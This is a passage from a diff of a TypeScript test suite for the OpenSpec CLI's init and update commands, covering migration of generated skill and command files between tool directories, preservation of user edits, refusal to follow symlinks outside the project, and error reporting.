fs.rm(path.join(testDir, '.codex', 'skills', '.openspec-target')); + await fs.appendFile( + path.join(testDir, '.codex', 'skills', 'openspec-propose', 'SKILL.md'), + '\nUser edit\n' + ); + await new InitCommand({ tools: 'agents', force: true }).execute(testDir); + + await updateCommand.execute(testDir); + + const skillsDir = path.join(testDir, '.agents', 'skills'); + expect(await fs.readFile(path.join(skillsDir, '.openspec-target'), 'utf-8')).toBe('agents\n'); + expect( + await fs.readFile(path.join(skillsDir, 'openspec-propose', 'SKILL.md'), 'utf-8') + ).toContain('/openspec-apply-change'); + expect( + await fs.readFile( + path.join(testDir, '.codex', 'skills', 'openspec-propose', 'SKILL.md'), + 'utf-8' + ) + ).toContain('User edit'); + }); + + it('should let an explicit Codex init take ownership of an agents tree', async () => { + await new InitCommand({ tools: 'agents', force: true }).execute(testDir); + + await new InitCommand({ tools: 'codex', force: true }).execute(testDir); + + const skillsDir = path.join(testDir, '.agents', 'skills'); + expect(await fs.readFile(path.join(skillsDir, '.openspec-target'), 'utf-8')).toBe('codex\n'); + const proposeSkill = await fs.readFile( + path.join(skillsDir, 'openspec-propose', 'SKILL.md'), + 'utf-8' + ); + expect(proposeSkill).toContain('$openspec-apply-change'); + expect(proposeSkill).toContain('/openspec-apply-change'); + }); + + it('should consolidate an existing unmarked agents tree with legacy Codex skills', async () => { + await new InitCommand({ tools: 'codex', force: true }).execute(testDir); + await fs.rename(path.join(testDir, '.agents'), path.join(testDir, '.codex')); + await fs.rm(path.join(testDir, '.codex', 'skills', '.openspec-target')); + await new InitCommand({ tools: 'agents', force: true }).execute(testDir); + await fs.rm(path.join(testDir, '.agents', 'skills', '.openspec-target')); + const legacyPropose = path.join( + testDir, + '.codex', + 'skills', + 'openspec-propose', + 'SKILL.md' + ); + await fs.writeFile( + legacyPropose, + (await fs.readFile(legacyPropose, 'utf-8')).replace( + /generatedBy:\s*"[^"]+"/, + 'generatedBy: "0.1.0"' + ) + ); + + await new UpdateCommand({ force: true }).execute(testDir); + + const skillsDir = path.join(testDir, '.agents', 'skills'); + expect(await fs.readFile(path.join(skillsDir, '.openspec-target'), 'utf-8')).toBe('codex\n'); + const proposeSkill = await fs.readFile( + path.join(skillsDir, 'openspec-propose', 'SKILL.md'), + 'utf-8' + ); + expect(proposeSkill).toContain('$openspec-apply-change'); + expect(proposeSkill).toContain('/openspec-apply-change'); + await expect( + fs.access(path.join(testDir, '.codex', 'skills', 'openspec-propose', 'SKILL.md')) + ).rejects.toThrow(); + }); + + it('should infer an unmarked canonical Codex tree that was moved manually', async () => { + await new InitCommand({ tools: 'codex', force: true }).execute(testDir); + const skillsDir = path.join(testDir, '.agents', 'skills'); + await fs.rm(path.join(skillsDir, '.openspec-target')); + + await new UpdateCommand({ force: true }).execute(testDir); + + expect(await fs.readFile(path.join(skillsDir, '.openspec-target'), 'utf-8')).toBe('codex\n'); + const proposeSkill = await fs.readFile( + path.join(skillsDir, 'openspec-propose', 'SKILL.md'), + 'utf-8' + ); + expect(proposeSkill).toContain('$openspec-apply-change'); + expect(proposeSkill).toContain('/openspec-apply-change'); + }); + + it('should preserve agents ownership when it switches to commands-only', async () => { + await new InitCommand({ tools: 'codex', force: true }).execute(testDir); + setMockConfig({ featureFlags: {}, profile: 'core', delivery: 'commands' }); + + await new InitCommand({ tools: 'agents', force: true }).execute(testDir); + + const skillsDir = path.join(testDir, '.agents', 'skills'); + expect(await fs.readFile(path.join(skillsDir, '.openspec-target'), 'utf-8')).toBe('agents\n'); + await expect( + fs.access(path.join(skillsDir, 'openspec-propose', 'SKILL.md')) + ).rejects.toThrow(); + }); + + it('should not resurrect divergent legacy Codex skills after agents switches to commands-only', async () => { + await new InitCommand({ tools: 'agents', force: true }).execute(testDir); + const canonicalSkills = path.join(testDir, '.agents', 'skills'); + const legacySkills = path.join(testDir, '.codex', 'skills'); + await fs.cp(canonicalSkills, legacySkills, { recursive: true }); + await fs.writeFile( + path.join(legacySkills, 'openspec-propose', 'SKILL.md'), + 'divergent legacy Codex skill\n' + ); + setMockConfig({ featureFlags: {}, profile: 'core', delivery: 'commands' }); + + await updateCommand.execute(testDir); + await updateCommand.execute(testDir); + + expect(await fs.readFile(path.join(canonicalSkills, '.openspec-target'), 'utf-8')).toBe( + 'agents\n' + ); + await expect( + fs.access(path.join(canonicalSkills, 'openspec-propose', 'SKILL.md')) + ).rejects.toThrow(); + expect( + await fs.readFile(path.join(legacySkills, 'openspec-propose', 'SKILL.md'), 'utf-8') + ).toBe('divergent legacy Codex skill\n'); + }); + + it('should migrate legacy Codex skills under commands-only delivery', async () => { + await new InitCommand({ tools: 'codex', force: true }).execute(testDir); + await fs.rename(path.join(testDir, '.agents'), path.join(testDir, '.codex')); + await fs.rm(path.join(testDir, '.codex', 'skills', '.openspec-target')); + setMockConfig({ featureFlags: {}, profile: 'core', delivery: 'commands' }); + + await updateCommand.execute(testDir); + + const skillsDir = path.join(testDir, '.agents', 'skills'); + expect(await fs.readFile(path.join(skillsDir, '.openspec-target'), 'utf-8')).toBe('codex\n'); + const proposeSkill = await fs.readFile( + path.join(skillsDir, 'openspec-propose', 'SKILL.md'), + 'utf-8' + ); + expect(proposeSkill).toContain('$openspec-apply-change'); + expect(proposeSkill).toContain('/openspec-apply-change'); + await expect( + fs.access(path.join(testDir, '.codex', 'skills', 'openspec-propose', 'SKILL.md')) + ).rejects.toThrow(); + }); + + it('should not migrate legacy Codex skills through a symlink outside the project', async () => { + const outsideDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-codex-outside-')); + try { + await new InitCommand({ tools: 'codex', force: true }).execute(testDir); + const outsideSkill = path.join( + outsideDir, + 'skills', + 'openspec-propose', + 'SKILL.md' + ); + await fs.mkdir(path.dirname(outsideSkill), { recursive: true }); + await fs.copyFile( + path.join(testDir, '.agents', 'skills', 'openspec-propose', 'SKILL.md'), + outsideSkill + ); + await fs.symlink( + outsideDir, + path.join(testDir, '.codex'), + process.platform === 'win32' ? 'junction' : 'dir' + ); + const warningSpy = vi.spyOn(console, 'warn'); + + await new UpdateCommand({ force: true }).execute(testDir); + + await expect(fs.readFile(outsideSkill, 'utf-8')).resolves.toContain( + 'name: openspec-propose' + ); + expect( + warningSpy.mock.calls.flat().map(String).some((entry) => + entry.includes('resolves outside this project') + ) + ).toBe(true); + } finally { + await fs.rm(outsideDir, { recursive: true, force: true }); + } + }); + + it('should not migrate a nested legacy Codex skill symlink outside the project', async () => { + const outsideDir = await fs.mkdtemp( + path.join(os.tmpdir(), 'openspec-codex-skill-outside-') + ); + try { + await new InitCommand({ tools: 'codex', force: true }).execute(testDir); + const outsideSkill = path.join(outsideDir, 'SKILL.md'); + await fs.copyFile( + path.join(testDir, '.agents', 'skills', 'openspec-propose', 'SKILL.md'), + outsideSkill + ); + const legacySkillsDir = path.join(testDir, '.codex', 'skills'); + await fs.mkdir(legacySkillsDir, { recursive: true }); + await fs.symlink( + outsideDir, + path.join(legacySkillsDir, 'openspec-propose'), + process.platform === 'win32' ? 'junction' : 'dir' + ); + const warningSpy = vi.spyOn(console, 'warn'); + + await new UpdateCommand({ force: true }).execute(testDir); + + await expect(fs.readFile(outsideSkill, 'utf-8')).resolves.toContain( + 'name: openspec-propose' + ); + expect( + warningSpy.mock.calls.flat().map(String).some((entry) => + entry.includes('resolves outside this project') + ) + ).toBe(true); + } finally { + await fs.rm(outsideDir, { recursive: true, force: true }); + } + }); + it('should update core profile skill files when tool is configured', async () => { // Set up a configured tool with one skill directory const skillsDir = path.join(testDir, '.claude', 'skills'); @@ -155,10 +826,12 @@ Old instructions content await updateCommand.execute(testDir); - // Verify core profile skill files were created/updated (propose, explore, apply, archive) + // Verify core profile skill files were created/updated (propose, explore, apply, update, sync, archive) const coreSkillNames = [ 'openspec-explore', 'openspec-apply-change', + 'openspec-update-change', + 'openspec-sync-specs', 'openspec-archive-change', 'openspec-propose', ]; @@ -179,7 +852,6 @@ Old instructions content 'openspec-new-change', 'openspec-continue-change', 'openspec-ff-change', - 'openspec-sync-specs', 'openspec-bulk-archive-change', 'openspec-verify-change', ]; @@ -190,9 +862,129 @@ Old instructions content expect(exists).toBe(false); } }); + + it('should update skill files for configured shared agents target', async () => { + const skillsDir = path.join(testDir, '.agents', 'skills'); + const exploreSkillDir = path.join(skillsDir, 'openspec-explore'); + await fs.mkdir(exploreSkillDir, { recursive: true }); + await fs.writeFile(path.join(exploreSkillDir, 'SKILL.md'), 'old content'); + + await updateCommand.execute(testDir); + + const updatedSkill = await fs.readFile( + path.join(exploreSkillDir, 'SKILL.md'), + 'utf-8' + ); + expect(updatedSkill).toContain('name: openspec-explore'); + }); }); describe('command updates', () => { + it('heals stale colon references for a filename-invoked tool (cursor)', async () => { + // The headline upgrade path for #1307: a project generated before the + // fix carries /opsx: references that Cursor's palette never registers. + // `openspec update` must rewrite both the command bodies and the skills. + const initCommand = new InitCommand({ tools: 'cursor', force: true }); + await initCommand.execute(testDir); + + const commandFile = path.join(testDir, '.cursor', 'commands', 'opsx-apply.md'); + const skillFile = path.join( + testDir, + '.cursor', + 'skills', + 'openspec-apply-change', + 'SKILL.md' + ); + for (const file of [commandFile, skillFile]) { + const stale = (await fs.readFile(file, 'utf-8')).replace(/\/opsx-/g, '/opsx:'); + await fs.writeFile(file, stale); + } + expect(await fs.readFile(commandFile, 'utf-8')).toContain('/opsx:apply'); + expect(await fs.readFile(skillFile, 'utf-8')).toContain('/opsx:apply'); + + await new UpdateCommand({ force: true }).execute(testDir); + + const command = await fs.readFile(commandFile, 'utf-8'); + expect(command).toContain('/opsx-archive'); + expect(command).not.toContain('/opsx:'); + + const skill = await fs.readFile(skillFile, 'utf-8'); + // Positive assertion too: a skill that simply dropped every reference + // would satisfy the negative one. + expect(skill).toContain('/opsx-apply'); + expect(skill).not.toContain('/opsx:'); + }); + + it('keeps namespaced references for claude while hyphenating qwen in one run', async () => { + const initCommand = new InitCommand({ tools: 'claude,qwen', force: true }); + await initCommand.execute(testDir); + + await new UpdateCommand({ force: true }).execute(testDir); + + const claudeCommand = await fs.readFile( + path.join(testDir, '.claude', 'commands', 'opsx', 'apply.md'), + 'utf-8' + ); + expect(claudeCommand).toContain('/opsx:archive'); + expect(claudeCommand).not.toContain('/opsx-archive'); + + const qwenCommand = await fs.readFile( + path.join(testDir, '.qwen', 'commands', 'opsx-apply.md'), + 'utf-8' + ); + expect(qwenCommand).toContain('/opsx-archive'); + expect(qwenCommand).not.toContain('/opsx:'); + + const qwenSkill = await fs.readFile( + path.join(testDir, '.qwen', 'skills', 'openspec-apply-change', 'SKILL.md'), + 'utf-8' + ); + expect(qwenSkill).toContain('/opsx-apply'); + expect(qwenSkill).not.toContain('/opsx:'); + + const claudeSkill = await fs.readFile( + path.join(testDir, '.claude', 'skills', 'openspec-apply-change', 'SKILL.md'), + 'utf-8' + ); + expect(claudeSkill).toContain('/opsx:apply'); + expect(claudeSkill).not.toContain('/opsx-'); + }); + + it('heals stale slash references for a prompt-library tool (amazon-q)', async () => { + // Amazon Q registers no slash command at all: .amazonq/prompts files are + // its prompt library, invoked with @. A project generated before this fix + // carries /opsx: references that Amazon Q answers to under no spelling. + const initCommand = new InitCommand({ tools: 'amazon-q', force: true }); + await initCommand.execute(testDir); + + const promptFile = path.join(testDir, '.amazonq', 'prompts', 'opsx-apply.md'); + const skillFile = path.join( + testDir, + '.amazonq', + 'skills', + 'openspec-apply-change', + 'SKILL.md' + ); + for (const file of [promptFile, skillFile]) { + const stale = (await fs.readFile(file, 'utf-8')).replace(/@opsx-/g, '/opsx:'); + await fs.writeFile(file, stale); + } + expect(await fs.readFile(promptFile, 'utf-8')).toContain('/opsx:apply'); + + await new UpdateCommand({ force: true }).execute(testDir); + + for (const file of [promptFile, skillFile]) { + const refreshed = await fs.readFile(file, 'utf-8'); + // Positive assertion too: dropping every reference would satisfy the + // negative ones. And no stray slash may survive the rewrite. + expect(refreshed).toContain('@opsx-apply'); + expect(refreshed).not.toContain('/opsx:'); + expect(refreshed).not.toContain('/opsx-'); + } + // The prompt body cross-references other prompts; those move too. + expect(await fs.readFile(promptFile, 'utf-8')).toContain('@opsx-archive'); + }); + it('should update opsx commands for configured Claude tool', async () => { // Set up a configured Claude tool const skillsDir = path.join(testDir, '.claude', 'skills'); @@ -220,6 +1012,39 @@ Old instructions content expect(content).toContain('tags:'); }); + it('should generate ZCode commands under .zcode without creating .agents', async () => { + // Mark ZCode as configured with an outdated generatedBy so update picks it up + const skillsDir = path.join(testDir, '.zcode', 'skills'); + await fs.mkdir(path.join(skillsDir, 'openspec-explore'), { recursive: true }); + await fs.writeFile( + path.join(skillsDir, 'openspec-explore', 'SKILL.md'), + '---\nmetadata:\n generatedBy: "0.0.1"\n---\nold content\n' + ); + + await updateCommand.execute(testDir); + + // Commands regenerated under .zcode/commands/opsx + const exploreCmd = path.join(testDir, '.zcode', 'commands', 'opsx', 'explore.md'); + expect(await FileSystemUtils.fileExists(exploreCmd)).toBe(true); + + const cmdContent = await fs.readFile(exploreCmd, 'utf-8'); + expect(cmdContent).toContain('---'); + expect(cmdContent).toContain('name:'); + expect(cmdContent).toContain('description:'); + expect(cmdContent).toContain('category:'); + expect(cmdContent).toContain('tags:'); + + // Skill refreshed under .zcode + const refreshedSkill = await fs.readFile( + path.join(skillsDir, 'openspec-explore', 'SKILL.md'), + 'utf-8' + ); + expect(refreshedSkill).not.toContain('old content'); + + // .agents must never be created during update + await expect(fs.access(path.join(testDir, '.agents'))).rejects.toThrow(); + }); + it('should update core profile opsx commands when tool is configured', async () => { // Set up a configured tool const skillsDir = path.join(testDir, '.claude', 'skills'); @@ -233,8 +1058,8 @@ Old instructions content await updateCommand.execute(testDir); - // Verify core profile commands were created (propose, explore, apply, archive) - const coreCommandIds = ['explore', 'apply', 'archive', 'propose']; + // Verify core profile commands were created (propose, explore, apply, update, sync, archive) + const coreCommandIds = ['explore', 'apply', 'update', 'sync', 'archive', 'propose']; const commandsDir = path.join(testDir, '.claude', 'commands', 'opsx'); for (const cmdId of coreCommandIds) { const cmdFile = path.join(commandsDir, `${cmdId}.md`); @@ -242,15 +1067,61 @@ Old instructions content expect(exists).toBe(true); } - // Verify non-core commands are NOT created - const nonCoreCommandIds = ['new', 'continue', 'ff', 'sync', 'bulk-archive', 'verify']; - for (const cmdId of nonCoreCommandIds) { - const cmdFile = path.join(commandsDir, `${cmdId}.md`); - const exists = await FileSystemUtils.fileExists(cmdFile); - expect(exists).toBe(false); + // Verify non-core commands are NOT created + const nonCoreCommandIds = ['new', 'continue', 'ff', 'bulk-archive', 'verify']; + for (const cmdId of nonCoreCommandIds) { + const cmdFile = path.join(commandsDir, `${cmdId}.md`); + const exists = await FileSystemUtils.fileExists(cmdFile); + expect(exists).toBe(false); + } + }); + + it('should refresh both Devin Desktop surfaces with the right invocation syntax', async () => { + // Set up Devin Desktop directory with a skill to indicate it's configured + const skillsDir = path.join(testDir, '.devin', 'skills'); + await fs.mkdir(path.join(skillsDir, 'openspec-apply-change'), { + recursive: true, + }); + const skillFile = path.join(skillsDir, 'openspec-apply-change', 'SKILL.md'); + await fs.writeFile(skillFile, 'old content'); + + await updateCommand.execute(testDir); + + // Workflows are invoked by filename, so their bodies use `/opsx-*`. + const workflow = path.join(testDir, '.devin', 'workflows', 'opsx-apply.md'); + expect(await FileSystemUtils.fileExists(workflow)).toBe(true); + + const workflowContent = await fs.readFile(workflow, 'utf-8'); + expect(workflowContent).toMatch(/^---\nname: "/); + expect(workflowContent).toContain('/opsx-'); + expect(workflowContent).not.toContain('/opsx:'); + + // Skills are refreshed too, and point at skills — the Devin Local agent + // has no workflows to point at. + const skillContent = await fs.readFile(skillFile, 'utf-8'); + expect(skillContent).not.toContain('old content'); + expect(skillContent).toContain('/openspec-apply-change'); + expect(skillContent).not.toContain('/opsx:'); + expect(skillContent).not.toContain('/opsx-'); + }); + + it('should update command files when tool is configured via commands-only delivery without skills', async () => { + setMockConfig({ featureFlags: {}, profile: 'core', delivery: 'commands' }); + const commandsDir = path.join(testDir, '.claude', 'commands', 'opsx'); + await fs.mkdir(commandsDir, { recursive: true }); + const coreCommandIds = ['explore', 'apply', 'update', 'sync', 'archive', 'propose']; + for (const cmdId of coreCommandIds) { + await fs.writeFile(path.join(commandsDir, `${cmdId}.md`), 'old command content'); + } + + await updateCommand.execute(testDir); + + for (const cmdId of coreCommandIds) { + const updatedContent = await fs.readFile(path.join(commandsDir, `${cmdId}.md`), 'utf-8'); + expect(updatedContent).not.toBe('old command content'); + expect(updatedContent).toContain('---'); } }); - }); describe('multi-tool support', () => { @@ -314,52 +1185,281 @@ Old instructions content await updateCommand.execute(testDir); - // Check Qwen command format (TOML) - Qwen uses flat path structure: opsx-<id>.toml + // Check Qwen command format (Markdown) - Qwen uses flat path structure: opsx-<id>.md const qwenCmd = path.join( testDir, '.qwen', 'commands', - 'opsx-explore.toml' + 'opsx-explore.md' ); const exists = await FileSystemUtils.fileExists(qwenCmd); expect(exists).toBe(true); const content = await fs.readFile(qwenCmd, 'utf-8'); - expect(content).toContain('description ='); - expect(content).toContain('prompt ='); + expect(content).toContain('---'); + expect(content).toContain('description:'); }); - it('should update Windsurf tool with correct command format', async () => { - // Set up Windsurf - const windsurfSkillsDir = path.join(testDir, '.windsurf', 'skills'); - await fs.mkdir(path.join(windsurfSkillsDir, 'openspec-explore'), { - recursive: true, - }); - await fs.writeFile( - path.join(windsurfSkillsDir, 'openspec-explore', 'SKILL.md'), - 'old' + it('should migrate a legacy .windsurf install to .devin, preserving user files', async () => { + // A project set up before the Devin Desktop rebrand: OpenSpec skills and + // workflows under .windsurf/, alongside files the user wrote themselves. + const legacySkillDir = path.join(testDir, '.windsurf', 'skills', 'openspec-explore'); + await fs.mkdir(legacySkillDir, { recursive: true }); + await fs.writeFile(path.join(legacySkillDir, 'SKILL.md'), 'old skill content'); + + const legacyWorkflows = path.join(testDir, '.windsurf', 'workflows'); + await fs.mkdir(legacyWorkflows, { recursive: true }); + await fs.writeFile(path.join(legacyWorkflows, 'opsx-explore.md'), 'old workflow content'); + + // User-owned content that must survive untouched + const userSkillDir = path.join(testDir, '.windsurf', 'skills', 'my-custom-skill'); + await fs.mkdir(userSkillDir, { recursive: true }); + await fs.writeFile(path.join(userSkillDir, 'SKILL.md'), 'user skill'); + await fs.writeFile(path.join(legacyWorkflows, 'my-workflow.md'), 'user workflow'); + + // Tests run non-interactively, so the consent-gated move is taken. + await updateCommand.execute(testDir); + + // Both surfaces now live under .devin and were refreshed + const migratedSkill = await fs.readFile( + path.join(testDir, '.devin', 'skills', 'openspec-explore', 'SKILL.md'), + 'utf-8' + ); + expect(migratedSkill).not.toContain('old skill content'); + const migratedWorkflow = await fs.readFile( + path.join(testDir, '.devin', 'workflows', 'opsx-explore.md'), + 'utf-8' ); + expect(migratedWorkflow).not.toContain('old workflow content'); + expect(migratedWorkflow).toContain('---'); + + // The OpenSpec-managed originals are gone; the user's files are not + await expect(fs.access(legacySkillDir)).rejects.toThrow(); + await expect( + fs.access(path.join(legacyWorkflows, 'opsx-explore.md')) + ).rejects.toThrow(); + expect(await fs.readFile(path.join(userSkillDir, 'SKILL.md'), 'utf-8')).toBe('user skill'); + expect( + await fs.readFile(path.join(legacyWorkflows, 'my-workflow.md'), 'utf-8') + ).toBe('user workflow'); + }); + it('should not delete the install when the legacy root is a symlink to the current one', async () => { + // Symlinking the two roots is a realistic way to straddle the rebrand. + // Source and destination are then the same file, so a naive + // "destination exists, drop the legacy copy" would delete the original. await updateCommand.execute(testDir); + const devinSkill = path.join(testDir, '.devin', 'skills', 'openspec-explore'); + await fs.mkdir(devinSkill, { recursive: true }); + await fs.writeFile(path.join(devinSkill, 'SKILL.md'), 'real content'); + await fs.symlink('.devin', path.join(testDir, '.windsurf')); - // Check Windsurf command format - const windsurfCmd = path.join( - testDir, - '.windsurf', - 'workflows', - 'opsx-explore.md' + await updateCommand.execute(testDir); + + // The real file is still there, through either path + expect(await FileSystemUtils.fileExists(path.join(devinSkill, 'SKILL.md'))).toBe(true); + }); + + it('should keep user files that live inside an OpenSpec-managed skill directory', async () => { + // Both roots holding the same skill is the normal state after a rebrand. + // A reference the user wrote beside SKILL.md is theirs and never moves. + const devinSkill = path.join(testDir, '.devin', 'skills', 'openspec-explore'); + await fs.mkdir(devinSkill, { recursive: true }); + await fs.writeFile(path.join(devinSkill, 'SKILL.md'), 'current'); + + const legacySkill = path.join(testDir, '.windsurf', 'skills', 'openspec-explore'); + await fs.mkdir(legacySkill, { recursive: true }); + await fs.writeFile(path.join(legacySkill, 'SKILL.md'), 'current'); + await fs.writeFile(path.join(legacySkill, 'reference.md'), 'my notes'); + + await updateCommand.execute(testDir); + + // Byte-identical to the survivor, so the redundant copy goes + await expect(fs.access(path.join(legacySkill, 'SKILL.md'))).rejects.toThrow(); + expect(await fs.readFile(path.join(legacySkill, 'reference.md'), 'utf-8')).toBe('my notes'); + }); + + it('should report divergent files even when nothing is movable', async () => { + // Every legacy file differs from its counterpart, so there is no move to + // make. Staying silent would leave two divergent copies the user never + // hears about, so the result is reported rather than dropped. + const devinSkill = path.join(testDir, '.devin', 'skills', 'openspec-explore'); + await fs.mkdir(devinSkill, { recursive: true }); + await fs.writeFile(path.join(devinSkill, 'SKILL.md'), 'current'); + const devinWorkflows = path.join(testDir, '.devin', 'workflows'); + await fs.mkdir(devinWorkflows, { recursive: true }); + await fs.writeFile(path.join(devinWorkflows, 'opsx-explore.md'), 'current'); + + const legacySkill = path.join(testDir, '.windsurf', 'skills', 'openspec-explore'); + await fs.mkdir(legacySkill, { recursive: true }); + await fs.writeFile(path.join(legacySkill, 'SKILL.md'), 'mine'); + const legacyWorkflows = path.join(testDir, '.windsurf', 'workflows'); + await fs.mkdir(legacyWorkflows, { recursive: true }); + await fs.writeFile(path.join(legacyWorkflows, 'opsx-explore.md'), 'mine'); + + const consoleSpy = vi.spyOn(console, 'log'); + await updateCommand.execute(testDir); + const logCalls = consoleSpy.mock.calls.flat().map(String); + consoleSpy.mockRestore(); + + // The divergence is surfaced... + expect(logCalls.some((entry) => entry.includes('Left 2 files in .windsurf/'))).toBe(true); + // ...without claiming a migration that did not happen. Matched on the + // directory arrow rather than the word "Migrated", which also begins the + // unrelated profile-migration line ("Migrated: custom profile with N + // workflows") that fires only under some config states. + expect(logCalls.some((entry) => entry.includes('.windsurf → .devin'))).toBe(false); + expect(logCalls.some((entry) => entry.includes('Migrated 0'))).toBe(false); + // ...and nothing was touched + expect(await fs.readFile(path.join(legacySkill, 'SKILL.md'), 'utf-8')).toBe('mine'); + expect(await fs.readFile(path.join(legacyWorkflows, 'opsx-explore.md'), 'utf-8')).toBe('mine'); + }); + + it('should keep a legacy SKILL.md the user edited, matching how command files are treated', async () => { + // Skills and commands must follow one rule. An earlier draft compared + // content for commands and not for skills, so the same situation + // destroyed a user's edited skill while preserving their edited command. + const devinSkill = path.join(testDir, '.devin', 'skills', 'openspec-explore'); + await fs.mkdir(devinSkill, { recursive: true }); + await fs.writeFile(path.join(devinSkill, 'SKILL.md'), 'current'); + const devinWorkflows = path.join(testDir, '.devin', 'workflows'); + await fs.mkdir(devinWorkflows, { recursive: true }); + await fs.writeFile(path.join(devinWorkflows, 'opsx-explore.md'), 'current'); + + const legacySkill = path.join(testDir, '.windsurf', 'skills', 'openspec-explore'); + await fs.mkdir(legacySkill, { recursive: true }); + await fs.writeFile(path.join(legacySkill, 'SKILL.md'), 'my edited skill'); + const legacyWorkflows = path.join(testDir, '.windsurf', 'workflows'); + await fs.mkdir(legacyWorkflows, { recursive: true }); + await fs.writeFile(path.join(legacyWorkflows, 'opsx-explore.md'), 'my edited command'); + + await updateCommand.execute(testDir); + + expect(await fs.readFile(path.join(legacySkill, 'SKILL.md'), 'utf-8')).toBe( + 'my edited skill' ); - const exists = await FileSystemUtils.fileExists(windsurfCmd); - expect(exists).toBe(true); + expect(await fs.readFile(path.join(legacyWorkflows, 'opsx-explore.md'), 'utf-8')).toBe( + 'my edited command' + ); + }); - const content = await fs.readFile(windsurfCmd, 'utf-8'); - expect(content).toContain('---'); - expect(content).toContain('name:'); + it('should not carry a user file into a skill directory that commands-only delivery deletes', async () => { + // Only SKILL.md may cross. The destination is a directory OpenSpec owns + // and removes on its own under commands-only delivery, so moving the + // whole legacy directory would hand the user's file to that removal. + setMockConfig({ featureFlags: {}, profile: 'core', delivery: 'commands' }); + const legacySkill = path.join(testDir, '.windsurf', 'skills', 'openspec-explore'); + await fs.mkdir(legacySkill, { recursive: true }); + await fs.writeFile(path.join(legacySkill, 'SKILL.md'), 'stale'); + await fs.writeFile(path.join(legacySkill, 'reference.md'), 'my notes'); + + await updateCommand.execute(testDir); + + expect(await fs.readFile(path.join(legacySkill, 'reference.md'), 'utf-8')).toBe('my notes'); + await expect(fs.access(path.join(legacySkill, 'SKILL.md'))).rejects.toThrow(); + }); + + it('should not carry a user file into a skill directory a deselected workflow deletes', async () => { + // openspec-new-change is outside the core profile, so the skill + // directory it would land in is one OpenSpec prunes. + const legacySkill = path.join(testDir, '.windsurf', 'skills', 'openspec-new-change'); + await fs.mkdir(legacySkill, { recursive: true }); + await fs.writeFile(path.join(legacySkill, 'SKILL.md'), 'stale'); + await fs.writeFile(path.join(legacySkill, 'reference.md'), 'my notes'); + + await updateCommand.execute(testDir); + + expect(await fs.readFile(path.join(legacySkill, 'reference.md'), 'utf-8')).toBe('my notes'); + }); + + it('should still fully vacate a legacy skill directory that holds only SKILL.md', async () => { + // The safety rule must not leave empty scaffolding behind in the + // ordinary case, where there is nothing of the user's to preserve. + const legacySkill = path.join(testDir, '.windsurf', 'skills', 'openspec-explore'); + await fs.mkdir(legacySkill, { recursive: true }); + await fs.writeFile(path.join(legacySkill, 'SKILL.md'), 'stale'); + + await updateCommand.execute(testDir); + + expect( + await FileSystemUtils.fileExists( + path.join(testDir, '.devin', 'skills', 'openspec-explore', 'SKILL.md') + ) + ).toBe(true); + await expect(fs.access(path.join(testDir, '.windsurf'))).rejects.toThrow(); + }); + + it('should keep a legacy command file the user edited, and drop an identical one', async () => { + const devinWorkflows = path.join(testDir, '.devin', 'workflows'); + await fs.mkdir(devinWorkflows, { recursive: true }); + await fs.writeFile(path.join(devinWorkflows, 'opsx-explore.md'), 'generated'); + await fs.writeFile(path.join(devinWorkflows, 'opsx-apply.md'), 'generated'); + + const legacyWorkflows = path.join(testDir, '.windsurf', 'workflows'); + await fs.mkdir(legacyWorkflows, { recursive: true }); + // Edited by the user — deleting it would throw the edit away + await fs.writeFile(path.join(legacyWorkflows, 'opsx-explore.md'), 'my edits'); + // Byte-identical — nothing is lost by dropping it + await fs.writeFile(path.join(legacyWorkflows, 'opsx-apply.md'), 'generated'); + + await updateCommand.execute(testDir); + + expect(await fs.readFile(path.join(legacyWorkflows, 'opsx-explore.md'), 'utf-8')).toBe( + 'my edits' + ); + await expect(fs.access(path.join(legacyWorkflows, 'opsx-apply.md'))).rejects.toThrow(); + }); + + it('should leave a migrated project alone on the next run', async () => { + // The move must be idempotent: once .windsurf/ holds nothing of ours, + // a second update has nothing to migrate and nothing to announce. + const legacySkillDir = path.join(testDir, '.windsurf', 'skills', 'openspec-explore'); + await fs.mkdir(legacySkillDir, { recursive: true }); + await fs.writeFile(path.join(legacySkillDir, 'SKILL.md'), 'old'); + + await updateCommand.execute(testDir); + + const consoleSpy = vi.spyOn(console, 'log'); + await updateCommand.execute(testDir); + const logCalls = consoleSpy.mock.calls.flat().map(String); + expect(logCalls.some((entry) => entry.includes('.windsurf → .devin'))).toBe(false); + consoleSpy.mockRestore(); }); }); describe('error handling', () => { - it('should handle tool update failures gracefully', async () => { + it('should preserve legacy Codex skills and prompts when canonical generation fails', async () => { + const legacySkill = path.join( + testDir, + '.codex', + 'skills', + 'openspec-explore', + 'SKILL.md' + ); + const legacyContent = 'legacy Codex skill'; + await fs.mkdir(path.dirname(legacySkill), { recursive: true }); + await fs.writeFile(legacySkill, legacyContent); + + const prompt = path.join(process.env.CODEX_HOME!, 'prompts', 'opsx-explore.md'); + await fs.mkdir(path.dirname(prompt), { recursive: true }); + await fs.writeFile(prompt, 'legacy prompt'); + + const originalWriteFile = FileSystemUtils.writeFile.bind(FileSystemUtils); + vi.spyOn(FileSystemUtils, 'writeFile').mockImplementation(async (filePath, content) => { + if (filePath.includes(`${path.sep}.agents${path.sep}`) && filePath.endsWith('SKILL.md')) { + throw new Error('EACCES: permission denied'); + } + return originalWriteFile(filePath, content); + }); + + await expect(new UpdateCommand({ force: true }).execute(testDir)).rejects.toThrow( + 'OpenSpec update failed for: Codex' + ); + expect(await fs.readFile(legacySkill, 'utf-8')).toBe(legacyContent); + expect(await FileSystemUtils.fileExists(prompt)).toBe(true); + }); + + it('should report tool update failures to automation', async () => { // Set up a configured tool const skillsDir = path.join(testDir, '.claude', 'skills'); await fs.mkdir(path.join(skillsDir, 'openspec-explore'), { @@ -383,8 +1483,9 @@ Old instructions content const consoleSpy = vi.spyOn(console, 'log'); - // Should not throw - await updateCommand.execute(testDir); + await expect(updateCommand.execute(testDir)).rejects.toThrow( + 'OpenSpec update failed for: Claude Code' + ); // Should report failure expect(consoleSpy).toHaveBeenCalledWith( @@ -428,7 +1529,9 @@ Old instructions content const consoleSpy = vi.spyOn(console, 'log'); - await updateCommand.execute(testDir); + await expect(updateCommand.execute(testDir)).rejects.toThrow( + 'OpenSpec update failed for: Claude Code' + ); // Cursor should still be updated - check the actual format from ora spinner expect(consoleSpy).toHaveBeenCalledWith( @@ -608,6 +1711,120 @@ Old instructions content consoleSpy.mockRestore(); }); + it('should create GitHub Copilot cloud files when github-copilot is up to date', async () => { + const initCommand = new InitCommand({ tools: 'github-copilot', force: true, copilotCloud: true }); + await initCommand.execute(testDir); + + const 